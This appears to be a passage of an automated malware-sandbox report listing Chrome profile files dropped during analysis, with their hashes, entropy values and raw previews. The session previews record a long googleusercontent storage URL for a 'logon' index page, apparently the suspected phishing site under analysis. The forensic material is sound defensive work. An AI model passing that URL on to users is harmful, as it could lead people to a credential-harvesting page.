Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	4839
Entropy (8bit):	6.317239392002873
Encrypted:	false
SSDEEP:	96:i8AH/iJ2CGBfM6l7OZrUv08r08bFM0cPSTsAE3IGE:PW/iqFpNvDITPSTsA/
MD5:	ABDDCB2A8116DC64E522D05F354B8D95
SHA1:	0D6DCC2F99977704F15A85F4E8873B06105F62FA
SHA-256:	0F2EBBBFC1A28044195C728D7C249D49B7995A8C41E54AB6A6DE1BB22F8BCEE3
SHA-512:	A63E39D998ED232B5E0737CA118372B8058FABCCFCF03C16330A6D49E1F4B8F1C7DBE43179DE743DDB8F915FE14DF7DA303D3282863CDB88578E92C670C275E2
Malicious:	false
Reputation:	low
Preview:	............"...+.*00f74ba44bb50aa58a9dfd79647238a8f996daa403..1d93765276e7..32c6..49b0.y4dmrnikolle47cq43py7p2mypfkpitisbcim8itdvuzsv5ubnwutgnfimcvdn95xfg7ylpb4pk7mgtnykl6h73onzrs0tnqkpgxfmcgl9sjrmuh2hxqovxq0n..7zmkwd94..83e6..93o..account..afshe3vcvfzndf..apidata..avoh4xv0ob1k69d..b.Rbjqrpx5f866thjl87vl2ozmhon2zn6fgk9eamh6l71eghyemnh69wwpaccwpkljlmjnviqygovxam5girr.Zbstdgylsbzcoi1h5qum3vxhmbmazyeycbhgemb6qfg4do70melmz0hmqk1lb3zolugqvyl1ndueuvklqpwtxdq3zeb..com..download..fa5hqbvlcfrbgopbckbbouoy.Wfzho5mjnqoa9btfjmzfmqk75bh1ypelgaun31aycc9l1geigi9xs2ai2bdhpnqb6oaelzljzdjisos0jhoqorqa..googleusercontent.Rgyuldzgfe6zocmxuvu2okrxbbfc3a0i4io1wftvhtl1urvwalvpfecoqbacgctpqtz45u5bblhyhoygrix."hphteuu8ulcf1qphhfivg5xjwbbd9deixk..html..https..id63757945b..index..into..j..jk..jmn2dw..lga6imebvzrah6..login..logon..o..or..school..storage..udmprbtrn6b7..v1..work. wvzqjvqu3acmffc05islal45aubr7xjd..your...yrndfja6qsh5mxjezjewhpyesrfni67jgoncruow0ihe2tsfjfiz1kchtug4iakfrofuf2ixmgmz0cygvwfjgzltwai4bz

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History-journal Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.32775625444421347
Encrypted:	false
SSDEEP:	6:a/fMt76Y4QZVRtRex99pG/pUSqR4EZY4QZv8fOpn:anMWQA9LM+BQZ8fOpn
MD5:	D294662E0A3090DC83DEEDB762473739
SHA1:	A3EB973A2342A3ABDFD4D192DD91FCF563D12280
SHA-256:	0DA1256C398BA4D5F0B472B1084C3AC00A17EAEDE58C8FB6CB423FF5D328115F
SHA-512:	6E7FCEBA72B3F00D3DC24FF3FC342C97510802A13334963A1A352A09CF9BF469F9943212351412026A1A02A353DFBB850AFC1DBC9B02991945687378F505CCF2
Malicious:	false
Reputation:	low
Preview:	...............q........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Last Session9q (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	6313
Entropy (8bit):	4.999154893070947
Encrypted:	false
SSDEEP:	96:34eZFM0cPSTsAEBSVodzN8ldMJ9b0pZFGPCbN6d5oFM0cPSTsAEP7l:3hQPSTsAqRIaqG6u5PSTsAe
MD5:	B5F78D95B1CF77B42243CDA30AC977FB
SHA1:	0C75EDCE4E41389CE57A78291658F302C18DED19
SHA-256:	416A718815E11F9998B88607C5BE97CE5D817498824EC676E7AD55AB51011015
SHA-512:	0C7E1246BF7A87C2746682DDCE6FA8E214C0DFDB68DD69E4D1AAB620C92A24BD8E762E2A8971FE3F24F9FC6C9E13185B914D648767F56432BE4F591A588844F1
Malicious:	false
Reputation:	low
Preview:	SNSS....................................................!.............................................1..,.......$...1e1f6d57_8306_4ff5_9329_811f940ced6b..........................................................................................................5..0.......&...{AE32626E-B2F7-4664-89C4-2B2C2DB60905}.............%.. ...............https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egH

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Last Tabske (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	8
Entropy (8bit):	1.8112781244591325
Encrypted:	false
SSDEEP:	3:3Dtn:3h
MD5:	0686D6159557E1162D04C44240103333
SHA1:	053E9DB58E20A67D1E158E407094359BF61D0639
SHA-256:	3303D5EED881951B0BB52CF1C6BFA758770034D0120C197F9F7A3520B92A86FB
SHA-512:	884C0D3594390E2FC0AEAB05460F0783815170C4B57DB749B8AD9CD10741A5604B7A0F979465C4171AD9C14ED56359A4508B4DE58E794550599AAA261120976C
Malicious:	false
Reputation:	low
Preview:	SNSS....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	7824
Entropy (8bit):	5.390422297488815
Encrypted:	false
SSDEEP:	192:oIXgdczDpE5fgnwKHgQAy9odDSyIE5fgZV:bsowsOGV
MD5:	B57423E2B9886F9869D67292620A60ED
SHA1:	19AD9237DC54322AC799EEC3302E680A6E65AB8E
SHA-256:	E22B59D09D2CE6E4AF647B517883F9BA1F8B6413949BF1504CC013B739E3C971
SHA-512:	48033C9D11BAB038CE722802BF82CEC71C4F925CABC66189382A5D1DA1DA83FBD2FA0DD9DC60EF8593E60179AB314DE54075EFA5F1E44DE49699085892DA6048
Malicious:	false
Reputation:	low
Preview:	...5.................VERSION.1.8META:chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..............Q_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..mr.persistent.CloudProvider7.{"cloudEnabled":false,"notifiedHangoutsPrivacy":false}.S_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..mr.persistent.IdentityService6.{"signedIn":false,"userEmail":null,"kioskAuth":false}.Y_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..mr.temp.HangoutSinkDiscoveryService;.{"cache":{"sinks":{},"g":{},"h":null},"manualHangouts":{}}.a_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..mr.temp.IdGenerator.cast.RequestIdGenerator..826992000.H_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..mr.temp.LogManager...["[2020-09-30 07:58:17.19][INFO][mr.Init] MR instance ID: eed8a5c4-c410-41ec-8296-fe0906655421\n","[2020-09-30 07:58:17.20][INFO][mr.Init] Native Cast MRP is disabled.\n","[2020-09-30 07:58:17.20][INFO][mr.Init] Native Mirroring Service is enabled.\n","[2020-09-30 07:58:17.21][INFO

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.198308983975779
Encrypted:	false
SSDEEP:	6:maaOutwQWM+q2PWXp+N23iKKdK8a2jMGIFUtnaOXvG1ZmwBaO9cSQWMVkwOWXp+3:pafN+va5Kk8EFUtna+e1/BaVV5f5Kk8N
MD5:	0493911DE7A5ABF806F99C7FAE4F8802
SHA1:	0DABEF98C8F5961ACE7394AC813C7A1B0EB0173E
SHA-256:	C485911C924F98EE1F5B2CEEE93D7D12854F90240D1F132393305EAA2F9975EA
SHA-512:	AF53A379683BBF3C02C8FFD1C050B1E9F4FD4DD2EA008877F252B0FE44B8700B2C13D3E94E529D5BC51661751C8293B1E6D8776D0ADAD1E854C78402C5D8D25F
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:18.785 91c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2021/10/25-18:17:18.790 91c Recovering log #3.2021/10/25-18:17:18.792 91c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.198308983975779
Encrypted:	false
SSDEEP:	6:maaOutwQWM+q2PWXp+N23iKKdK8a2jMGIFUtnaOXvG1ZmwBaO9cSQWMVkwOWXp+3:pafN+va5Kk8EFUtna+e1/BaVV5f5Kk8N
MD5:	0493911DE7A5ABF806F99C7FAE4F8802
SHA1:	0DABEF98C8F5961ACE7394AC813C7A1B0EB0173E
SHA-256:	C485911C924F98EE1F5B2CEEE93D7D12854F90240D1F132393305EAA2F9975EA
SHA-512:	AF53A379683BBF3C02C8FFD1C050B1E9F4FD4DD2EA008877F252B0FE44B8700B2C13D3E94E529D5BC51661751C8293B1E6D8776D0ADAD1E854C78402C5D8D25F
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:18.785 91c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2021/10/25-18:17:18.790 91c Recovering log #3.2021/10/25-18:17:18.792 91c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State2T (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	2642
Entropy (8bit):	4.931732465818912
Encrypted:	false
SSDEEP:	48:Y2TntwXGDH3qz5sAGs2RLsBCrq9sMRscO7sk5saMHkYdseMHIMHKUDYhbD:JTnOXGDHaz/IJr4nO1pGVGIGKjhH
MD5:	4D2806DA3AA743750E56DA11560ADE1F
SHA1:	D0CEC495EF3EE8981234CF43EE94B42E441632E5
SHA-256:	485661F34B6AA865CC4CB4794F2ACAFF6072402172FE2C97E6399972D8B4D1EB
SHA-512:	F532BFDF6C660E4F4D4987AF8E1362BFD6A6D8D4C0717FBBB50621C890DDF8561096416DD4D8B732628A66F34D25B96A95B58862D36B98276E05227BBE99AE4B
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://www.google.com","supports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://apis.google.com","supports_spdy":true},{"isolation":[],"server":"https://play.google.com","supports_spdy":true},{"isolation":[],"server":"https://ogs.google.com","supports_spdy":true},{"isolation":[],"server":"https://www.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://dns.google","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expiration":"13282276641673104","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://redirector.gvt1.com"},{"alternative_service":[{"advertised_versions":[50],"expiration":"13282276641679333","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://accounts.google.com","supports_spdy":true},{"al

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent StateMP (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	4219
Entropy (8bit):	4.871684703914691
Encrypted:	false
SSDEEP:	48:YXsJjMH+5s7YMHBKsvxMHVzspxMHbsIHt/soBDysKqnsllzMHpDCLsWJMHLsNuMg:RG+ZGJG+GTTD7IGpD+G7Gp2GnG4GVhH
MD5:	EDC4A4E22003A711AEF67FAED28DB603
SHA1:	977E551B9ED5F60D018C030B0B4AA2E33B954556
SHA-256:	DD2C9F43F622F801FCC213CDE8E3E90EF1D0D26665AE675449A94CEC7EB1D453
SHA-512:	84D3930579FD73C7D86144D5CDC636436955BA79759273C740D2D72BC4847F2F7F165BBCA3EB2E4DFB01777D6A5F141623278C1BF74615C5A491092CE3FD1602
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[],"expiration":"13248543677350473","port":443,"protocol_str":"quic"},{"advertised_versions":[],"expiration":"13248543677350474","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31344},"server":"https://dns.google","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248543501474403","port":443,"protocol_str":"quic"},{"advertised_versions":[],"expiration":"13248543501474403","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31656},"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248543501454993","port":443,"protocol_str":"quic"},{"advertised_versions":[],"expiration":"13248543501454994","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":39369},"server":"https://www.googleapis.com","supports_spdy":true},

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.2872312735195734
Encrypted:	false
SSDEEP:	6:maaQF5QVq2PWXp+N23iKKdKgXz4rRIFUtnaQJgZmwBaQx0IkwOWXp+N23iKKdKgi:paQFqva5KkgXiuFUtnaQG/BaQxP5f5K2
MD5:	C89D539FA3FA9B816C420811EB4FA07E
SHA1:	F32B282BED2CB0E84A730FCCD985A7623B4F2089
SHA-256:	DA36D82F99B4818D53CC69420AC4E037078B69D06DC32C1965286B39768D9467
SHA-512:	D83F94C0F755B13FBA1EEACBE726F0790BF105EEFC33E6BFDA204E9FA8F6BCF236486534BA93422911321CF7FCFC2A6DD1A18E66E39A3BC55CD5515F8934ADB6
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:19.719 f64 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications/MANIFEST-000001.2021/10/25-18:17:19.723 f64 Recovering log #3.2021/10/25-18:17:19.726 f64 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications\LOG.oldMP (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.2872312735195734
Encrypted:	false
SSDEEP:	6:maaQF5QVq2PWXp+N23iKKdKgXz4rRIFUtnaQJgZmwBaQx0IkwOWXp+N23iKKdKgi:paQFqva5KkgXiuFUtnaQG/BaQxP5f5K2
MD5:	C89D539FA3FA9B816C420811EB4FA07E
SHA1:	F32B282BED2CB0E84A730FCCD985A7623B4F2089
SHA-256:	DA36D82F99B4818D53CC69420AC4E037078B69D06DC32C1965286B39768D9467
SHA-512:	D83F94C0F755B13FBA1EEACBE726F0790BF105EEFC33E6BFDA204E9FA8F6BCF236486534BA93422911321CF7FCFC2A6DD1A18E66E39A3BC55CD5515F8934ADB6
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:19.719 f64 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications/MANIFEST-000001.2021/10/25-18:17:19.723 f64 Recovering log #3.2021/10/25-18:17:19.726 f64 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	5869
Entropy (8bit):	5.195307938892697
Encrypted:	false
SSDEEP:	96:nY8Cl3e995q8ct8cKILok0JCKL8QkA1UbOTQVuwn:njC095B28ck4KrkAE
MD5:	C0098EAF7CFDCB8CD45A3F1386EFA362
SHA1:	0406B45E85DEA86FDE0307D8E430F6D62148ED07
SHA-256:	D4E97EF666C59BC3B6792E6ECD74FA932A7F6EFE013EB11E46EF37BDDCF80C1A
SHA-512:	383B2A3E1DB84807757045EF5EC4776FF366B70BCB8A7366BFD837E6B355A2BB9397A7041331EA26B98A597A03901EA01B8CE3933AD60A9EBDB75E0F8FB0C14C
Malicious:	false
Reputation:	low
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13279684639611036","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245951485614034","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser_infobar_last_declined":"13245951692116406","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","7355378"],"daily_received_length":["0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Reporting and NEL Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.172569965439993
Encrypted:	false
SSDEEP:	96:wIElwQF8mpcSaszf0rsbKfxq4bE3rjZhD:wIElwQF8mpcSaszcLJaJp
MD5:	81435BBDF3243DDC7E5C827E2F6C8EFB
SHA1:	CF152516C1F0249AABB1CD8472451A3F34E12E79
SHA-256:	DA4C9A10414F0FE65F5C4BF04B55EC13581E3AE093BD3514C73B2C6489C1448F
SHA-512:	198F1B4A0B975D7263C3DC1167A26FB7C703E8B28E82228664DF1EB4D00AF8709CE1F8AB18832690A8D8FD895D1F89AC3E7087BAED19DD9EE058D572210C9F6A
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................C..........g...^.........j............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15628
Entropy (8bit):	5.292871661441512
Encrypted:	false
SSDEEP:	192:Ppp0prwFOhNkcUw4kjkNOD7r31RdeYqakV6c8TEKdl:0rXjYwy4Xr34AkV6uml
MD5:	F60AB4E9A79FD6F32909AFAC226446B3
SHA1:	07C9E383D4488BEBE316CA86966FC728F55A2E32
SHA-256:	CDE581E6E7CF0136B003B45549E3BBEE7B67B74ADD786A8D5607BFDAD1DE7B87
SHA-512:	F6A7673A8EFDB7FF74D7B83DD4BCB3683031DB7FBFE6654F6311CBA53EC42F3E45CE2B42A6E385F868271BBDD348272ACF9CE304E2DB52A10B36D24C7B03114F
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Zamrzne".. },.. "1213957982723875920": {.. "message": "Kaj od tega najbolje opi.e va.e omre.je?".. },.. "128276876460319075": {.. "message": "Odkrivanje naprav".. },.. "1428448869078126731": {.. "message": "Teko.e predvajanje videoposnetka".. },.. "1522140683318860351": {.. "message": "Vzpostavitev povezave ni uspela. Poskusite znova.".. },.. "1550904064710828958": {.. "message": "Teko.e".. },.. "1636686747687494376": {.. "message": "Odli.no".. },.. "1802762746589457177": {.. "message": "Glasnost".. },.. "1850397500312020388": {.. "message": "Ali je Chromecast viden v $START_LINK$aplikaciji Google Home$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {.. "content": "$3".. },.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences.. (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	22596
Entropy (8bit):	5.535885803495995
Encrypted:	false
SSDEEP:	384:vgjtpLl3UXR1kXqKf/pUZNCgVLH2HfD6rUAHG+nTxwI45:CLl2R1kXqKf/pUZNCgVLH2Hf+rUEG+nu
MD5:	D2545EED6609D08E1A85A99D12B9AAFA
SHA1:	B4F36404480024CF4B23067EEF9ADB6DBA09DDF7
SHA-256:	8A14A08F689FBC3D57FC69CC520E8DC2A9D9831F34C1D87856959A7117289AFB
SHA-512:	E64E1BFBE869A9B4E6A76D533461559C86362AA8BF8F2F890F857402C63FA98D8CEE5E3AF46F208EF56BAABE5F87D707E6D3E4E6FB385C08396EADFAE50D76EB
Malicious:	false
Reputation:	low
Preview:	{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13279684638762118","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCtl3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVGijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	346
Entropy (8bit):	2.5144888658965625
Encrypted:	false
SSDEEP:	6:S85aEFljljljljljljljljljljljljljljljl:S+a8ljljljljljljljljljljljljljl3
MD5:	99EB4F3410780D4F7C9F432F5CC23F74
SHA1:	186C87877609C9F2B5F44BBC3F9EECE2E096F842
SHA-256:	F6644A9BB1515338C075E4566E5A4862E68CEC526012120AB1269A36C1F2855A
SHA-512:	986ED64FA359668606A5E6B7528D9244CD0093097A8F8B701A8108DE20D7F7CB09BEFCBB5653CFE1A0C32813020B5646A278CAB9E4D5DE2F2E40DD2492037C3F
Malicious:	false
Reputation:	low
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f...............

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.207341088338254
Encrypted:	false
SSDEEP:	6:maaSnq2PWXp+N23iKKdKrQMxIFUtnaSARXZmwBaSARFkwOWXp+N23iKKdKrQMFLJ:paQva5KkCFUtnavX/BavF5f5KktJ
MD5:	7445DEC59038FC31DC956CAFEFDD982C
SHA1:	4C222E847CB87C89BDF835EC764C56E219356263
SHA-256:	B42D192501F3B698A851C8906E979A13B477FFE71B1493016981421960D6FDBA
SHA-512:	C01AFF6BE4F00886BCB3FBF769CAE2951E870E884E1529E30E54AC024EE7C1FCC65BB6F97EADAF053EC61BD785C4769213EC53256FBB5B9182DFB83C21CC1BD7
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:19.593 13a4 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage/MANIFEST-000001.2021/10/25-18:17:19.595 13a4 Recovering log #3.2021/10/25-18:17:19.595 13a4 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.207341088338254
Encrypted:	false
SSDEEP:	6:maaSnq2PWXp+N23iKKdKrQMxIFUtnaSARXZmwBaSARFkwOWXp+N23iKKdKrQMFLJ:paQva5KkCFUtnavX/BavF5f5KktJ
MD5:	7445DEC59038FC31DC956CAFEFDD982C
SHA1:	4C222E847CB87C89BDF835EC764C56E219356263
SHA-256:	B42D192501F3B698A851C8906E979A13B477FFE71B1493016981421960D6FDBA
SHA-512:	C01AFF6BE4F00886BCB3FBF769CAE2951E870E884E1529E30E54AC024EE7C1FCC65BB6F97EADAF053EC61BD785C4769213EC53256FBB5B9182DFB83C21CC1BD7
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:19.593 13a4 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage/MANIFEST-000001.2021/10/25-18:17:19.595 13a4 Recovering log #3.2021/10/25-18:17:19.595 13a4 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.205179729478129
Encrypted:	false
SSDEEP:	6:maaOmR1N+q2PWXp+N23iKKdK7Uh2ghZIFUtnaOXQZZmwBaO9QNVkwOWXp+N23iKm:paf+va5KkIhHh2FUtna+QZ/Ba9NV5f5m
MD5:	2A36D2BAC8C46CB23A82173390E5099B
SHA1:	84598BB286DD7AA5ED094D1ED79041C2A4E6D819
SHA-256:	E4BA2A65B6478F01839B5E7ACFB1A1475502C7A4B7D6C1CB4CEA07B00EB38B6A
SHA-512:	4EC58514B63E83170B5D6235E7CD1205F1C5EF7A31D5B5CC0F06486DAA8C54458CAF854574DE30157E51D443C43F926ECF6D631AAA6F259E771BE814B3832CEF
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:18.785 149c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database/MANIFEST-000001.2021/10/25-18:17:18.790 149c Recovering log #3.2021/10/25-18:17:18.792 149c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.205179729478129
Encrypted:	false
SSDEEP:	6:maaOmR1N+q2PWXp+N23iKKdK7Uh2ghZIFUtnaOXQZZmwBaO9QNVkwOWXp+N23iKm:paf+va5KkIhHh2FUtna+QZ/Ba9NV5f5m
MD5:	2A36D2BAC8C46CB23A82173390E5099B
SHA1:	84598BB286DD7AA5ED094D1ED79041C2A4E6D819
SHA-256:	E4BA2A65B6478F01839B5E7ACFB1A1475502C7A4B7D6C1CB4CEA07B00EB38B6A
SHA-512:	4EC58514B63E83170B5D6235E7CD1205F1C5EF7A31D5B5CC0F06486DAA8C54458CAF854574DE30157E51D443C43F926ECF6D631AAA6F259E771BE814B3832CEF
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:18.785 149c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database/MANIFEST-000001.2021/10/25-18:17:18.790 149c Recovering log #3.2021/10/25-18:17:18.792 149c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\90ffbf66-70a1-431f-ab38-4e0141a0e529.tmp Download File
